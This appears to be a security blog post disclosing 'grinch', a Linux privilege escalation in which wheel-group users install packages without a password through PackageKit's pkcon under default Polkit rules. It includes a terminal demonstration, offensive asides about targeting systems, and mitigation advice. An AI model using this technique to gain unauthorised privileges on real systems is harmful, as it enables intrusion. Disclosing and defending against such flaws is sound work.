Since we are in the thick of the holiday season, we are analyzing which operating systems support the needs of e-commerce and brick and mortar retail shops. Due to the lower cost of ownership and efficiencies such as a non-resource heavy operating system that allow for applications to run more smoothly, we found that Linux is dominating when it comes to e-commerce site deployment.

According to a 2013 report from W3Tech, approximately 65% of all web servers on the Internet utilize a Unix/Linux based operating system.We uncovered a bug that impacts all Linux platforms, including mobile devices, and we’re calling it “grinch.” Fortunately, there are ways to detect the exploit of this bug in your environment until a patch is released.

A Change in the Landscape
In August of this year, we released a blog that details the exploitation of the new logging system (JournalD) to hijack terminal sessions for remote execute commands.

We dove further into the Linux platform and discovered grinch, which exists in the new authorization system that allows privilege escalation through wheel.

Wheel is a special user group that controls access to the command, which allows a user to masquerade as another user.  When a Linux system is built, the default user is assigned to the wheel group that allows for administrative task execution within the system. For example, if the file is owned by user XYZ and group wheel, it will run as XYZ:wheel, no matter who executes the file.

New Linux ecosystems attempt to implement new methods of authentication and authorization to remove a large assortment of vulnerability vectors introduced with random setuid binaries. While we can look at capabilities as a part of the cure, Policy Kit (Polkit) is one of the main drivers for straying away from setuid binaries. A simple ‘man polkit’ allows us to read deeply into the new authorization API for privileged programs.

Background on Polkit
Most privileged system operations are already controlled by Polkit, a well-established, fine-grained, and (possibly) network-transparent service for managing privileged operations by ordinary users.

• Polkit can be used by privileged processes to decide if it should execute privileged operations on behalf of the requesting user. For directly executed tools, Polkit provides a setuid-root helper program called ‘’pkexec.’’ The hooks to ask the user for authorizations are well integrated into text environments and native in all major graphical environments.
• The concept of a console user(that usermode/consolehelper implements) is no longer a sufficient concept from which to derive privileges. OTOH Polkit authorizations can properly distinguish between multiple active sessions and seats: e.g. an untrusted user’s reboot request is only granted if only a single user session runs at that time.

When talking about Polkit, we need to understand we are no longer dealing with a single daemon. Instead, we are dealing with a whole new authority management wrapped in a setuid root daemon that gives us access to new tools and ways of doing things. Each piece of this ecosystem exposes possible vulnerabilities through backend D-Bus implementation, the front end Polkit daemon, or even userland tools that use Polkit for privilege authorization. This ecosystem allows us to achieve local privilege escalation in the modern era. One set of tools is PackageKit. 

PackageKit
PackageKit is a set of tools that allows an abstraction layer (over D-BUS) to work across package management systems and architectures. PackageKit attempts to make the management process easier to navigate in the face of a multitude of different package management ecosystems like APT, Yum, pacman, and others. PackageKit uses PolKit in the backend for user authentication. So, in Fedora, while DNF or Yum may not allow access to specific user(s) to install packages, PolKit rules are separate and may allow the action, which is something that will be addressed with PKCon. For now, only an understanding of the default rule layout is needed. 

PolKit Authorization Rules
On a default setup, authorization rule files are kept in /etc/polkit-1/ and /usr/share/polkit-1/. These are sorted by the basename of the file (10- before 20-) and /etc/ will overrule /us/share/. With an ls -la on /etc/plkit-1/, we can see:

ls -lah

total 28K

drwxr-xr-x.   5 root   root   4.0K Dec 6 2013 .

drwxr-xr-x. 142 root   root     12K Nov 16 10:18 ..

drwxr-x—.   7 root   polkitd 4.0K Dec 11 2013 localauthority

drwxr-xr-x.   2 root   root   4.0K Aug 4 2013 localauthority.conf.d

drwx——.   2 polkitd root    4.0K Oct 3 12:15 rules.d

A couple of polkitd uid/gid permissions are seen, but mostly the permissions are root owned. Inside these folders, the files are written in simple JavaScript to manage Polkit privileges. So, if we wanted to change these permissions outside of an arbitrary file write or other exploits, we would need root/polkitd privileges. Let’s take a look at one of these files in /etc/polkit-1/rules.d/50-default.rules:

/* -*- mode: js; js-indent-level: 4; indent-tabs-mode: nil -*- */

// DO NOT EDIT THIS FILE, it will be overwritten on update

//

// Default rules for polkit

//

// See the polkit(8) man page for more information

// about configuring polkit.

polkit.addAdminRule(function(action, subject) {

   return [“unix-group:wheel”];

});

Understanding this piece of the API is relatively straightforward. An admin rule is set up to declare that the PolKit admin is any user in the wheel group. Yes, users in wheel can run Sudo and wheel access is required when a user attempts to execute administrative tasks like changing time, adjusting user access, performing maintenance, or troubleshooting services. By abusing our group privileges, we no longer need the user’s password (or root when Sudo is not utilized).

If we were to compromise the user through a client-side vulnerability or any privilege escalation on the box itself, we would no longer need to worry about cached Sudo authorization timestamp tokens or trying to trick users into providing their credentials with bashrc, environment modifications, or other means. Instead, we can abuse the user’s group privileges to give us access, thus granting direct authentication bypassven if the wheel user cannot get root like in Ubuntu ecosystems. 

Exploitation With PKCon
So, we know that any user in the wheel group has “most” admin privileges. I say “most” because there are certain other checks taken into account when attempting actions like adding new repository signatures. A user’s role determines the ability to install any package from an installed repo without authentication. This is done with a tool called PKCon (PackageKit Console Client). Let’s check that out.

]$ id

uid=1000(blahman) gid=1000(blahman) groups=1000(blahman),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

]$ Yum install cowsay

Loaded plugins: auto-update-debuginfo, langpacks, refresh-packagekit

You need to be root to perform this command.

]$ dnf install cowsay

Dependencies resolved.

…

Downloading Packages:

cowsay-3.03-14.fc20.noarch.rpm                                                                                                                                                     89 kB/s | 26 kB     00:00  

Running transaction check

Transaction check succeeded.

Running transaction test

Transaction test succeeded.

Running transaction

Error: Unable to initialize yumdb history: [Errno 13] Permission denied: ‘//var/lib/dnf’

]$ pkcon install cowsay

Resolving                     [=========================]        

Querying                     [=========================]        

Testing changes               [=========================]        

Finished                     [=========================]        

Installing                   [=========================]        

Resolving dependencies       [=========================]        

Downloading packages         [=========================]        

Testing changes               [=========================]        

Installing packages          [=========================]        

Finished                     [=========================]    

]$ cowsay got root?

______________

< got root? >

———–

       \   ^__^

         \ (oo)\_______

           (__)\       )\/\

               ||—-w |

               ||     ||

We couldn’t use Sudo for a variety of reasons (lack of permissions, password, etc.), Yum was inaccessible because it requires root, and DNF wouldn’t work because of FS permission checks; however, PKcon worked flawlessly. In order to exploit this, all we need is a single vulnerability in any package in a repo. There are tons to choose from. If we type ‘PKCon’ or simply ‘man PKCon,’ we can find a list of repos in use and then pull a list of all bins and version numbers. I won’t provide one here because you don’t want everything handed to you.

Conclusion
This simple logic will mostly affect home users who run on an account with wheel. This includes most people, as they need Sudo. Fixing the issue is as simple as managing PolKit authorization rules or properly managing group privileges for users.

We find that possession of user logs and knowledge of your own environment are the best security content to help you navigate away from a bug like grinch. Know how your Linux administrator is installing packages and managing updates—do they use Yum to install packages? Firing on any of the newer methods like PKCon will be an immediate trigger of the exploit in use.

While this type of attack is certainly seen in corporate environments (everyone seems to need to have wheel for one reason or another), your success rate may vary depending on target. There are all sorts of other fun techniques you can utilize with default Polkit rules, and I leave it to the reader to discover more fun.

Source: alterlogic.com